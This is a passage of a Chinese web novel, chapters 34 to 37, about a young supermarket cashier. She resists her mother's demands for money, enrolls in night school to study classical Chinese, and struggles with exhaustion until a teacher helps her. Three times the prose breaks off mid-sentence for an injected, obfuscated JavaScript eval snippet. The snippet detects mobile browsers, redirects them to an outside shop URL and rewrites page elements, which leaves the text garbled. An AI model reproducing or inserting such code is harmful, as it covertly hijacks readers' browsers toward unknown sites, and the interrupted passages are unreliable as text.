“晚星?你怎么在这里哭?”张琪找不到晚星,顺着楼梯间找过来,看到她蜷缩在地上落泪,连忙跑过去蹲下身,轻轻拍着她的背,语气满是心疼,“是不是出什么事了?” 晚星抬起头,看到张琪,所有的委屈瞬间爆发,哽咽着把母亲来电的事情一五一十地告诉了她。“张琪,我该怎么办?我不想放弃夜校,可我也不想和家里断绝关系……” 张琪听完,气得浑身发抖:“你妈也太过分了!什么叫你读那么多书没用?什么叫你自私自利?你每个月寄那么多钱回家,已经做得够好了!凭什么你的梦想就要为你弟弟的补习班让步?” “可他是我亲弟弟,我妈说得也没错,他的学业很重要。”晚星吸了吸鼻子,语气里满是无奈,“我从小就被教导,要让着弟弟,要为家里着想。如果我真的不寄钱回去,我心里也过意不去。” “为家里着想不是要牺牲你自己的一切!”张琪握住她的手,语气坚定,“晚星,你醒醒吧!你妈就是重男轻女,把你的付出当成理所当然。你已经为家里做了很多了,这次你不能妥协,不然以后她只会得寸进尺,你的自考之路只会更难。” 晚星沉默了,泪水还在不停滑落,心里却在激烈地挣扎。张琪说得没错,母亲一直都更偏爱弟弟,从小到大,好吃的、好用的都是先给弟弟,她早已习惯了委屈自己。可这次,夜校是她唯一的希望,她真的不想放弃。 “我知道你为难,”张琪的语气软了下来,语气温柔却坚定,“但你不能完全听你妈的。你可以寄一部分钱回去,比如一千块,既尽了心意,也能留住学费。至于你妈说的断绝关系,那都是气话,她不会真的不认你的。你要为自己想想,只有你变得更好,才能真正帮到家里。” 张琪的话像一剂清醒剂,让晚星渐渐冷静下来。她擦了擦眼泪,看着张琪,眼里满是感激:“谢谢你,张琪。如果不是你,我真的不知道该怎么办。我就寄一千块回去,剩下的钱用来交学费,不管我妈怎么说,这次我都要坚持上夜校。” “这就对了!”张琪笑着帮她擦掉脸上的泪痕,“别想那么多了,先去把钱寄了,然后咱们去夜校报名。不管遇到什么事,我都陪着你。” 晚星点了点头,站起身,整理了一下衣服,深吸一口气,压下心里的委屈与不安。她知道,这一次的决定,是她第一次为自己的梦想争取,虽然艰难,却无比坚定。 下午四点下班,晚星先去银行给家里打了一千块钱,然后和张琪一起赶往红星夜校。报名缴费的时候,她握着手里的钱,心里既有不舍,又有坚定。六千块钱,是她省吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233603|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俭用攒下来的,也是她改变命运的敲门砖。 报完名,拿到听课证的那一刻,晚星的心里豁然开朗,之前的委屈似乎也消散了大半。听课证上印着她的名字,还有课程表,周二和周四晚上七点到九点,周末上午九点到十一点答疑课,每一个字都让她心生敬畏。 从夜校出来,天色已经暗了下来。晚星和张琪走在公交站台上,晚风有些凉,却吹不散她心里的暖意。“以后我每个月的生活费要再省一点了,争取多攒点钱,下次再报两门课。”晚星笑着说道,语气里满是憧憬。 “我这里还有点钱,你要是不够用就跟我说。”张琪连忙说道,“而且我可以帮你带早饭和午饭,咱们一起省着点花。” 晚星摇摇头:“不用,我自己能行。谢谢你,张琪。”她知道,张琪的工资也不高,还要寄一部分回家,她不想再给张琪添麻烦。 回到宿舍后,晚星刚坐下,手机就又响了起来,还是母亲王秀莲。她深吸一口气,按下接听键,做好了被斥责的准备。 “你就寄了一千块?”王秀莲的声音依旧不满,“我跟你说的话你是不是没听进去?林博文的补习班还差很多钱,你赶紧再想办法凑一千块,不然我就亲自去青南市找你!” 晚星咬了咬牙,语气坚定:“妈,我真的没有钱了。这个月的工资除了房租和生活费,剩下的都用来交夜校学费了。我只能寄这么多,您要是再逼我,我也没办法了。” “你还敢顶嘴?”王秀莲气得大喊,“我看你是被猪油蒙了心!为了一个破夜校,连家里都不管了!我告诉你,你要是不把钱凑齐,我就再也不认你这个女儿!” 晚星的心里一阵刺痛,却依旧没有妥协:“妈,对不起,这次我不能听您的。我一定要上夜校,我想考上本科,想找更好的工作。等我以后挣钱多了,一定会多帮衬家里的。” 电话那头沉默了片刻,然后传来王秀莲冰冷的声音:“好,好得很!你既然这么绝情,那咱们就走着瞧!”说完,再次挂断了电话。 晚星握着手机,泪水又忍不住落了下来。她知道,母亲这次是真的生气了,或许会很久不跟她联系。可她不后悔,为了自己的梦想,她必须勇敢一次。 张琪走过来,轻轻抱住她:“别难过了,你已经做得很好了。你妈只是一时生气,等她想通了就会理解你的。就算她不理解,我也会一直支持你。” 晚星靠在张琪的肩膀上,点了点头,心里满是感动。她知道,未来的路会更难,既要面对原生家庭的压力,又要兼顾工作、夜校和自学。可她不再害怕,因为她有坚定的梦想,有温暖的陪伴。 接下来的日子里,晚星的生活变得愈发拮据。她每天只吃两顿饭,早饭是一个冷馒头,午饭是最便宜的素菜,晚饭有时候甚至不吃,只为了节省一点钱。李娟看到她这副样子,又忍不住嘲讽:“哟,晚星,这是连饭都吃不起了?早说让你别折腾那夜校,现在好了,把自己搞得这么狼狈。” 晚星没有理会她,只是默默做好自己的事。她把所有的精力都放在了工作和学习上,白天利用碎片时间背诵知识点,晚上去夜校上课,回来后还要刷题到深夜,周末则去夜校参加答疑课,把一周积攒的问题都问清楚。 虽然日子过得很苦,可晚星的心里却无比充实。夜校的老师讲得很细,很多之前弄不懂的知识点,经老师一点拨,瞬间就明白了。她的错题本上的红叉越来越少,信心也越来越足。 她知道,原生家庭的羁绊或许会伴随她很久,母亲的不理解、弟弟的拖累,都会成为她前进路上的阻碍。可她不会再像以前那样一味妥协,她要为自己而活,要靠自己的努力挣脱束缚,闯出属于自己的一片天。 窗外的月光洒在书桌上,晚星伏在桌前,认真地整理着夜校的笔记。灯光下,她的身影虽显单薄,却透着一股不屈不挠的韧劲。她知道,只要坚持下去,总有一天,她能既兼顾家庭,又实现自己的梦想,在家庭羁绊与个人追求之间,找到属于自己的平衡点。 35. 第 35 章 周二傍晚的风带着腊月的寒意,卷着街角小吃摊的烟火气掠过街道。晚星把藏在贴身口袋里的钱又攥紧了些,指尖能摸到纸币边缘被反复摩挲的褶皱——这六千块钱,是她从两个月工资里抠出来的,每餐少吃一口菜,每天步行上下班省下公交费,连张琪塞给她的肉包都要分两半留到晚上,一点一点攒够的。口袋里的听课证被她折了又折,边角垫着张琪给的纸巾,生怕被寒风刮破。 “真不用我陪你去上课?”张琪站在公交站台,帮她理了理被风吹乱的衣领,语气里满是担忧,“晚上回来天又黑又冷,而且你今天只吃了一个馒头,要不我给你装两个鸡蛋?” 晚星摇摇头,眼底却盛着藏不住的期待,嘴角弯起一抹浅淡的笑:“不用啦,你还要加班,我自己能行。听课证我放好着呢,公交路线也记熟了,四十分钟就到。鸡蛋你留着吃,我包里有饼干。”她说着拍了拍帆布包,包里除了习题册和笔记本,只有一小包最便宜的苏打饼干,是她今晚的晚饭。 早上上班时,李娟看到她啃冷馒头,又少不了一顿嘲讽:“啧啧,为了个破夜校把自己饿成这样,值得吗?等你钱花光了,书也没读明白,到时候哭都没地方哭。”晚星当时只是低头擦了擦收银台,没接话——值不值得,只有她自己知道。这六千块钱,不是浪费,是她挣脱困境的唯一抓手。 公交车缓缓驶来,晚星和张琪道别后,挤上了拥挤的车厢。她找了个靠后的位置站稳,从口袋里掏出听课证,小心翼翼地展开。米白色的卡片上,“红星成人夜校”几个字印得端正,她的名字被钢笔写在学员栏里,旁边标注着“汉语言文学自考辅导班”,下方的课程表清晰写着“周二、周四 19:00-21:00 陈老师古代汉语”。指尖轻轻拂过这些字迹,眼眶忽然就热了,连日来的委屈、拮据与挣扎,在这一刻都化作了沉甸甸的期待。 四十分钟后,公交抵达红星路站。晚星跟着几个背着书包的年轻人往街道深处走,越靠近夜校,心里就越忐忑,脚步却越坚定。夕阳的余晖洒在老旧的教学楼上,给斑驳的外墙镀上了一层暖光,门口的木牌虽褪色,却被擦拭得干净,“笃学笃行”四个小字隐约可见。已有不少学员陆续走进教学楼,大多是和她年纪相仿的年轻人,有人穿着工厂的工服,袖口还沾着机油;有人背着外卖箱,刚送完最后一单赶来,额头上还挂着汗珠;还有人手里攥着知识点纸条,边走边小声背诵——他们都带着一身生活的疲惫,眼里却藏着同样的、对未来的渴望。 晚星深吸一口气,跟着人群走进教学楼。一楼大厅的咨询台后,还是上次那位头发花白的老奶奶,看到她进来,笑着点了点头:“小姑娘,来上课啦?汉语言的班在二楼203教室,陈老师已经在里面准备了。” “谢谢奶奶。”晚星恭敬地应着,脚步轻快地走上楼梯。楼梯扶手有些陈旧,却擦得发亮,墙壁上贴满了往届学员的录取通知书复印件,有自考本科的,有成考研究生的,每张纸上都写着学员的名字和感言,字里行间满是坚持与喜悦。晚星放慢脚步,一张张看过去,心里的不安渐渐消散,取而代之的是满满的笃定——她也想成为这里的一员,把自己的名字写在新的通知书上。 203教室的门虚掩着,里面传来翻书的声音。晚星轻轻推开门,教室里已经坐了大半的人,二十几张老旧的桌椅摆得整整齐齐,桌面有些磨损,却没有一点杂物,每个人面前都放着课本和笔记本,有人在预习,有人在整理之前的错题,氛围安静而专注。她找了个靠后的空位坐下,刚把书包放在桌下,邻座的女孩就主动递过来一支黑色水笔,小声说:“我看你没带笔,先用我的吧,陈老师讲课快,笔记要记全。” 晚星愣了一下,连忙接过笔,低声道谢:“谢谢你,太麻烦你了。” “没事,大家都是来追梦的,互相帮衬是应该的。”女孩笑了笑,露出一对浅浅的梨涡,“我叫李娜,在电子厂上班,考汉语言快一年了,之前自学总卡壳,就来报了班。你呢?” “我叫晚星,在超市当收银员,刚准备系统学。”晚星说着,从包里掏出《古代汉语》课本,课本的封面已经被翻得发皱,上面画满了密密麻麻的批注,“之前自己学虚词,总搞不懂用法,越学越慌。” “我也是!”李娜拍了下手,压低声音说,“陈老师讲虚词讲得可细了,上次试听课我听了一次,一下子就懂了。等会儿你认真听,肯定能解开困惑。”两人相视一笑,无需多言,便懂了彼此身上的不易与坚持。 七点整,教室门被轻轻推开,一位六十多岁的老太太走了进来。她穿着素雅的棉布衬衫,头发梳得整齐,戴着一副黑框眼镜,手里抱着厚厚的课本和教案,气质温和而从容。“同学们晚上好,我是陈秀兰,这学期由我来给大家讲古代汉语。”她的声音温柔却清晰,带着岁月沉淀的沉稳,瞬间抚平了教室里最后的一点嘈杂。 陈老师把教案放在讲台上,没有多余的开场白,直接翻开课本:“咱们先从大家最头疼的虚词入手。很多同学自学时觉得虚词灵活,不好把握,其实关键是要结合语境,分清词性和用法……”她拿起粉笔,在黑板上写下“之、其、而、以”四个字,然后逐一讲解,从词性、含义到例句,再结合自考真题拆解,每一个知识点都讲得细致入微。 晚星握着笔,飞快地在笔记本上记录。陈老师讲到“之”字的用法时,举了“夫祸患常积于忽微,而智勇多困于所溺”这句话——正是前几天让她辗转反侧、始终弄不懂的那句。“这里的‘之’是结构助词,用在主谓之间,取消句子独立性,不翻译……”陈老师的声音缓缓传来,配合着黑板上清晰的例句解析,晚星心里的迷雾瞬间散开,之前对着解析琢磨了几个小时都没懂的知识点,此刻竟豁然开朗。 她低头看着课本上自己画的密密麻麻的问号,又看了看笔记本上条理清晰的笔记,鼻尖忽然一酸。这些日子,她在深夜借着手机微光刷题,在收银间隙匆匆背书,对着错题本自我怀疑,被母亲斥责“自私自利”,被李娟嘲讽“白费功夫”,所有的委屈与迷茫,在这一刻都有了回响。原来不是她不够努力,只是缺少一个正确的指引;原来那些晦涩难懂的知识点,并非无法攻克。 陈老师似乎察觉到了她的情绪,讲课间隙,特意走到她身边,轻轻拍了拍她的课本:“这位同学,是不是之前对这句话有困惑?” 晚星抬起头,眼眶微红,点了点头,声音有些哽咽:“是,老师,我之前自学了很久,都没弄明白‘之’字在这里的用法,谢谢您。” 陈老师笑了笑,语气温柔而坚定:“没关系,自考这条路本就不容易,尤其是边打工边学习,更要多一份耐心。遇到不懂的问题别憋着,课上问、课后问都可以,我和其他老师都会帮你们。记住,你们不是一个人在战斗。”她的眼神里满是理解与鼓励,像一束暖光,照进了晚星心底最柔软的地方。 周围的同学也纷纷看过来,有人冲她点了点头,有人递过来一张纸巾,眼神里没有异样,只有同为追梦人的共情与鼓励。晚星接过纸巾,擦了擦眼角的泪水,用力点了点头,心里的坚定愈发强烈。 接下来的课程,晚星听得格外认真。陈老师不仅讲解知识点,还分享了自己多年的教学经验,告诉大家如何高效记忆、如何结合真题复习、如何在忙碌的工作中平衡学习与生活。“我知道你们都不容易,白天要为生计奔波,晚上还要挤时间学习,很累,也很孤独。”陈老师站在讲台上,目光扫过每一位学员,“但请记住,每一次挑灯夜读,每一次咬牙坚持,都在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233604|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为你们的未来铺路。自考不是终点,而是一个全新的起点,它会让你们有机会看到更广阔的世界,有能力选择自己想要的生活。” 教室里安静无声,每个人都低着头,有人在默默擦拭眼角,有人在笔记本上写下“坚持”二字。晚星握着笔,指尖微微用力,把陈老师的话一字一句记在笔记本的扉页上。她想起了母亲的不理解,想起了拮据的生活,想起了张琪的陪伴,所有的艰难都化作了前进的动力。她知道,从走进这所老旧教学楼的那一刻起,她的人生就有了新的可能。 九点整,下课铃声响起。学员们陆续收拾东西,有人围在陈老师身边请教问题,有人互相交流笔记,教室里充满了温暖而积极的氛围。晚星和李娜一起走出教室,李娜笑着说:“我说吧,陈老师讲得特别好!以后咱们可以一起复习,有不懂的地方互相讨论。” “好啊!”晚星笑着点头,心里满是暖意,“以后还要请你多指教。” 两人并肩走下楼梯,楼道里的灯光温柔,映着她们的身影。晚星抬头望向窗外,夜色虽浓,远处的路灯却一盏盏亮着,像撒在黑夜里的星光。她从口袋里掏出听课证,再次展开,月光洒在卡片上,字迹清晰可见。这张小小的卡片,不仅是一张听课凭证,更是她梦想的起点,是她对抗生活困境的勇气来源。 走到公交站台,晚星和李娜道别。等车的时候,她拿出手机,给张琪发了一条微信:“张琪,课上完了,陈老师讲得特别好,我好多不懂的知识点都解开了。以后我再也不是一个人瞎琢磨了。”消息发出去没多久,张琪就回复了她,附带一个加油的表情:“太好了!我就知道你可以的!等你回来,我给你留了热水和面包。” 晚星握着手机,心里暖暖的。公交车驶来,她上车找了个靠窗的位置坐下,拿出笔记本,反复翻看晚上记的笔记。虽然身体疲惫,肚子也饿得咕咕叫,但心里却无比充实。她知道,未来的日子会更忙碌——白天要在超市收银,晚上要赶来夜校上课,课后还要刷题复习,周末还要参加答疑课,生活依旧会拮据,原生家庭的压力也未必会消失。 但她不再害怕,也不再迷茫。夜校的课堂给了她系统学习的机会,陈老师的鼓励、同学的陪伴、张琪的支持,像一束束光,照亮了她的自考之路。那些曾经让她焦虑的知识点,那些让她挣扎的困境,都在这一刻有了克服的可能。 公交车缓缓行驶在夜色中,晚星望着窗外掠过的灯火,嘴角不自觉扬起一抹坚定的笑。她把笔记本小心翼翼地放进包里,紧紧攥着那张听课证。这是她的全新起点,是她用坚持和勇气换来的机会。她会牢牢抓住这个机会,在这条布满荆棘的路上咬牙前行,用知识改变命运,用努力挣脱束缚,去遇见更好的自己。 回到出租屋时,张琪果然留了热水和面包,还有一个剥好的鸡蛋。“快吃吧,肯定饿坏了。”张琪把食物递到她手里,“怎么样?陈老师讲得真有那么好?” 晚星咬了一口温热的面包,点了点头,眼里闪烁着光芒:“嗯,特别好。以前弄不懂的问题,老师一讲就明白了。我还认识了一个同学,以后可以一起复习。”她边吃边把晚上的课程内容讲给张琪听,语气里满是兴奋与笃定。 张琪坐在一旁,静静听着,脸上露出欣慰的笑容:“太好了,这下你终于不用再对着解析发呆了。不管多累,咱们都坚持下去,总有一天会考上的。” 晚星点点头,咬下一口鸡蛋。温热的食物顺着喉咙滑下,驱散了身体的寒意,也填满了心底的空缺。她知道,这条路或许漫长而艰难,但只要她不放弃,一步一个脚印地往前走,就一定能抵达梦想的彼岸。夜校的灯光,不仅照亮了简陋的课堂,更照亮了她的未来,让她在平凡的生活里,看到了属于自己的光明与希望。 36. 第 36 章 凌晨一点半的出租屋,只剩书桌前一盏小台灯还亮着昏黄的光。晚星伏在桌上,指尖捏着笔,眼皮却像挂了铅,不住地往下沉。课本上的字迹模糊成一团,她用力眨了眨眼,又蘸了蘸清凉油抹在太阳穴,试图驱散汹涌的睡意。桌上摊着陈老师课上讲的虚词笔记,旁边是还没刷完的半套真题,而闹钟显示,再过五个小时,她就要起床赶去超市上早班。 这样昼夜颠倒的日子,已经持续了整整一周。自从上了夜校,晚星的时间被切割得支离破碎:早上六点半起床,七点半到超市打卡,从八点忙到下午四点,连喝水的间隙都要掏出口袋里的知识点纸条扫两眼;下班后不敢耽搁,一路小跑赶公交,四十分钟的车程里,她要么靠在椅背上打个盹,要么强撑着背刚学的内容;七点到九点是夜校课程,下课后天色已深,挤上末班车回到宿舍,往往已是十点半。简单洗漱后,她还要挤出一个半小时刷题、整理笔记,直到凌晨一两点才能躺下,每天的睡眠时间不足五个小时。 “又在熬了?”张琪打着哈欠从床上坐起来,揉了揉眼睛,语气里满是心疼,“快睡吧,都一点多了,明天还要早起呢。那些题明天早上抽十分钟看也行,别把自己熬垮了。” 晚星勉强抬起头,嘴角扯出一抹无力的笑:“没事,我把这几道虚词题刷完就睡。陈老师说下次课要小测,我怕跟不上。”她的声音带着浓浓的鼻音,眼底的红血丝比之前更重,眼下的乌青也蔓延开来,整个人透着一股挥之不去的疲惫。 张琪叹了口气,披衣下床,给她倒了杯温水:“喝点水再学,别熬到太晚。我明天给你多带个馒头,你上午抽空吃,别又像今天一样,只啃了半块饼干。”这些天,她看着晚星日渐憔悴,却也知道劝不动——晚星骨子里的韧劲,一旦认定了目标,就绝不会轻易松懈。 凌晨两点,晚星终于合上习题册,轻手轻脚地躺回床上。可大脑却依旧紧绷,白天收银时的忙碌、夜校课堂上的知识点、真题里的错题,在脑海里盘旋不休,许久才沉沉睡去。可没睡多久,刺耳的闹钟就响了,她挣扎着坐起来,浑身酸痛,连抬手的力气都有些不足,只能靠着意志力强撑着穿衣、洗漱。 早上到了超市,晚星刚站到收银台后,就感觉一阵头晕目眩。刘组长路过时瞥见她苍白的脸色,皱了皱眉:“晚星,你这状态怎么又差了?是不是没休息好?实在不行就请假歇一天。” “谢谢组长,我没事,就是有点没睡好,过会儿就好了。”晚星连忙低下头,掩饰住眼底的疲惫。她不敢请假,请假就意味着工资减少,不仅要攒钱交后续的学费,还要应付家里可能随时打来的催款电话,每一分钱都至关重要。 上午的客流不算少,晚星机械地重复着扫码、收款、找零的动作,眼神时不时就会涣散。有好几次,顾客递过来的钱她都接不稳,扫码时也差点扫错商品。李娟站在旁边的收银台,把这一切看在眼里,没有像往常一样嘲讽,只是眼神复杂地瞥了她几眼,终究没说什么——她虽看不惯晚星的“折腾”,却也不得不承认,这份坚持确实让人动容。 中午午休,晚星没有像往常一样背书,而是找了个僻静的角落,靠着货架就睡着了。她睡得很沉,眉头却紧紧皱着,嘴里还喃喃念着“之字的用法”,手里还攥着那张皱巴巴的知识点纸条。直到午休结束的铃声响起,她才猛地惊醒,嘴角还沾着一丝口水,眼神迷茫了好一会儿,才缓过神来自己是在超市仓库。 下午的工作愈发难熬,双腿像灌了铅一样沉重,脑袋也阵阵发晕。好不容易熬到四点下班,晚星抓起书包就往公交站跑,生怕错过了前往夜校的公交车。今天是周四,有陈老师的古代汉语课,她不想缺席,更不想错过任何一个知识点。 公交站台挤满了下班的人,晚星站在边缘,困意阵阵袭来,忍不住打了个哈欠。公交车到站后,她跟着人群挤上去,找了个位置坐下,没过多久就靠在椅背上睡着了。等她被司机叫醒时,才发现自己坐过了一站,已经快六点半了。 晚星心里一慌,连忙下车,沿着路边快步往回跑。天色渐暗,路边的路灯还没完全亮起,来往的自行车和电动车穿梭不息。她只顾着赶路,没注意到侧面驶来一辆自行车,直到车轮快要碰到她的衣角,骑车人才急刹车停下,她也被惯性带得一个踉跄,差点摔倒。 “你这人怎么走路不看路啊?”骑车人不满地抱怨了一句,便骑着车离开了。晚星扶着墙壁,大口喘着气,心脏砰砰直跳,后背惊出了一层冷汗。她低头看了看自己的衣角,已经被车轮蹭脏了一块,双腿也因为刚才的奔跑和惊吓而微微发抖。疲惫、慌乱、委屈,一瞬间涌上心头,她靠着墙壁站了好一会儿,才勉强平复好心情,继续往夜校的方向跑。 等晚星赶到203教室时,陈老师已经开始讲课了。她轻轻推开门,低着头快步走到自己的座位上,脸颊因为奔跑而通红,呼吸也格外急促。李娜看到她这副样子,连忙递过来一张纸巾,小声问:“怎么了?是不是出事了?这么晚才来。” “没事,坐过站了,跑过来的。”晚星接过纸巾,擦了擦额头上的汗,低声道谢。她刚坐下,就感觉困意再次袭来,眼皮沉重得厉害,陈老师讲的内容左耳进、右耳出,大脑一片空白。她用力掐了掐自己的手心,试图集中注意力,可没过多久,眼神就又开始涣散,思绪飘到了凌晨没刷完的真题上,又飘到了明天要早起的闹钟上。 陈老师讲课的间隙,目光不经意间扫过晚星,见她眼神空洞,手指无意识地抠着课本,显然是走神了。她没有当场点破,只是放缓了语速,特意加重了知识点的语气。可晚星依旧没有反应,直到李娜轻轻碰了碰她的胳膊,她才猛地回过神来,茫然地看向黑板,不知道老师讲到了哪里。 这一幕,恰好被陈老师看到。她停下讲课,语气温和地说:“晚星同学,是不是哪里不舒服?要是实在撑不住,就趴在桌上歇一会儿,笔记我课后给你补。” 教室里所有同学的目光都集中到了晚星身上,她的脸颊瞬间发烫,羞愧地低下头,声音带着几分颤抖:“对不起陈老师,我没事,我不该走神的,我会认真听的。” 陈老师笑了笑,没有过多责备,只是点了点头:“好,那你集中精神,跟不上的地方课后问我。”说完,便继续讲课,只是偶尔会特意看向晚星,确认她是否在认真听。 接下来的课程,晚星强撑着精神,努力跟上陈老师的节奏,可疲惫感如同潮水般涌来,实在难以抗拒。好几次,她都差点趴在桌上睡着,只能靠反复掐手心、抹清凉油来提神。笔记也记得断断续续,字迹潦草,连自己都看不清写的是什么。 九点整,下课铃声响起,晚星如释重负地趴在桌上,浑身酸痛,连抬手收拾东西的力气都没有。李娜收拾好东西,小声说:“我先走了,你也早点回去休息,别再熬太晚了。”晚星点了点头,连说话的力气都没有。 同学们陆续离开,教室里渐渐安静下来。陈老师收拾好教案,走到晚星身边,轻轻拍了拍她的肩膀:“晚星,跟我来一下办公室。” 晚星心里一紧,以为老师要批评她,连忙站起身,低着头跟在陈老师身后。陈老师的办公室在教学楼三楼,陈设简单,一张老旧的办公桌,两个书架,书架上摆满了书籍和往届学员的笔记。 “坐吧。”陈老师指了指桌前的椅子,给她倒了杯温水,“是不是最近压力太大,没休息好?” 晚星接过水杯,指尖触到温热的杯身,眼眶瞬间就红了。连日来的疲惫、委屈、挣扎,在这一刻再也忍不住,她低下头,声音哽咽地说:“对不起陈老师,我不该在课堂上走神。我白天在超市上早班,晚上来上夜校,回去还要刷题,每天只能睡四个多小时,实在是太困了……” 她把自己的处境一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233605|197633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五一十地告诉了陈老师,从工资风波、省吃俭用交学费,到昼夜颠倒的奔忙,再到刚才赶路时差点被自行车撞到,一字一句,满是无奈与委屈。这些话,她不敢跟张琪多说,怕张琪担心;更不敢跟家里说,怕被母亲斥责“矫情”。 陈老师静静地听着,脸上满是心疼与理解。等晚星说完,她轻轻拍了拍她的肩膀,语气温柔而坚定:“傻孩子,我懂你的难处。边打工边学习,本就是一条布满荆棘的路,累是正常的。但你要知道,身体是革命的本钱,要是把身体熬垮了,之前的努力就都白费了。” 晚星抬起头,泪水还挂在脸颊上,眼神里满是迷茫:“可是老师,我不想放弃。我好不容易才找到夜校,有您指导,我不想因为休息而跟不上进度。” “我不是让你放弃,是让你合理分配时间。”陈老师从抽屉里拿出一本厚厚的笔记本,递给晚星,“这是我之前讲古代汉语的完整笔记,里面有知识点总结、真题解析,还有我标注的重点难点,你拿去看,这样就能节省一部分整理笔记的时间,多睡一会儿。” 晚星接过笔记本,指尖抚过封面,笔记本的封面已经有些磨损,里面的字迹工整清晰,每一个知识点都标注得详细明了。她能想象到,陈老师花了多少时间才整理出这本笔记,心里满是感激,泪水流得更凶了:“谢谢您,陈老师,太感谢您了……” “不用谢。”陈老师笑了笑,“我教过很多像你一样的孩子,你们都很努力,都想靠自己的力量改变命运,我很佩服你们。以后别熬到凌晨了,晚上学到十一点半就睡觉,早上早起半小时整理知识点,效率反而更高。遇到不懂的问题,随时来找我,别一个人硬扛。” 晚星用力点了点头,把笔记本紧紧抱在怀里,像是抱着一份沉甸甸的希望:“我知道了,老师。我以后一定合理安排时间,照顾好自己,不辜负您的期望。” 从办公室出来,晚星的心里满是温暖。夜色依旧寒冷,可怀里的笔记本却透着暖意,驱散了身体的疲惫与心里的委屈。她小心翼翼地把笔记本放进书包,快步往公交站走去。 回到出租屋时,张琪还没睡,正坐在书桌前等她。看到她回来,连忙迎上去:“你可回来了,怎么这么晚?是不是出事了?” 晚星笑了笑,把陈老师给她笔记本的事情告诉了张琪,又说起了自己在课堂上走神、老师关心她的经过。“陈老师人真好,还给了我她的笔记,让我节省时间休息。”她的语气里满是感激,眼里也重新燃起了光芒。 张琪看着她怀里的笔记本,由衷地为她高兴:“太好了!这下你就能少熬点夜了。我给你留了热粥,快趁热喝,喝完早点睡,别再刷题了。” 晚星点了点头,接过张琪递来的粥,小口喝着。温热的粥顺着喉咙滑下,浑身都暖和了。她拿出陈老师的笔记本,翻开看了几页,工整的字迹、详细的解析,让她心里无比踏实。 喝完粥,晚星没有像往常一样刷题,而是简单洗漱后就躺回了床上。她抱着陈老师的笔记本,心里满是笃定。虽然未来的日子依旧会忙碌,昼夜颠倒的奔忙也还会持续,但她不再孤单,不再迷茫。陈老师的鼓励与帮助、张琪的陪伴与照顾,像一束束暖光,支撑着她在这条艰难的路上咬牙前行。 闭上眼睛,晚星脑海里不再是杂乱的知识点和无尽的疲惫,而是陈老师温和的笑容、张琪关心的眼神,还有那本沉甸甸的笔记。她知道,只要合理分配时间,照顾好自己,就一定能兼顾好工作与学习,在自考的路上稳步前行。 夜色渐深,出租屋恢复了安静。晚星渐渐进入了梦乡,这一次,她没有做关于学习和工作的梦,睡得格外安稳。窗外的月光洒在书桌上,照亮了那本笔记本,也照亮了她疲惫却坚定的追梦之路。她知道,哪怕前路依旧布满荆棘,只要有这些温暖的支撑,她就有勇气一直走下去,直到抵达梦想的彼岸。 37. 第 37 章 周末清晨的阳光透过超市的玻璃窗,落在整洁的货架上。晚星站在收银台后,指尖麻利地扫码收款,眼底的乌青淡了些许,动作也比之前沉稳了不少。自从听从陈老师的建议调整作息后,她每晚十一点半准时入睡,早上六点半起床,利用早起的半小时梳理知识点,白天工作时精力足了,收银效率也跟着提高,连刘组长都夸她状态回升明显。 “早班结束后我得请假半天,去夜校参加答疑课。”晚星趁着客流间隙,找到刘组长报备,手里攥着提前写好的请假条,语气恭敬,“我已经跟隔壁工位的小张说好,她帮我盯着收尾工作,不会耽误事的。” 刘组长接过请假条,看了一眼,眉头微挑却没拒绝:“行,准假。但你得把手里的活交接好,最近超市客流大,可不能出岔子。还有,别总把心思都放在学习上,工作也得抓牢。” “谢谢组长,我知道了!”晚星连忙点头道谢,心里松了口气。这周她攒了不少关于古代汉语的疑问,就盼着周末的答疑课请教陈老师,自然不想错过。 这一幕恰好被不远处的李娟看在眼里,她手里擦着收银台,眼神里翻涌着嫉妒与不甘。这些天,她看着晚星每天精神饱满地上下班,晚上去夜校上课,回来还能有条不紊地刷题,连刘组长都对她改观,心里愈发不是滋味。在她看来,晚星就是“不务正业”,凭着一点韧劲博同情,凭什么能得到大家的认可? “哟,又要去上你的夜校啊?”李娟凑过来,语气阴阳怪气,“这么拼命,万一工作出了差错,看你怎么交代。” 晚星没心思跟她纠缠,只是淡淡瞥了她一眼,继续整理自己工位上的收银用品:“我已经交接好了,不劳你费心。”说完,便转身去帮小张熟悉自己的工位流程,丝毫没察觉李娟眼底闪过的恶意。 上午十点,早班结束。晚星仔细核对了收银账目,确认无误后,又把工位上的扫码枪、收银盒、备用零钱一一归置妥当,甚至特意清点了货架旁堆放的待扫码促销商品,确保数量准确,才放心地离开超市,赶往夜校。 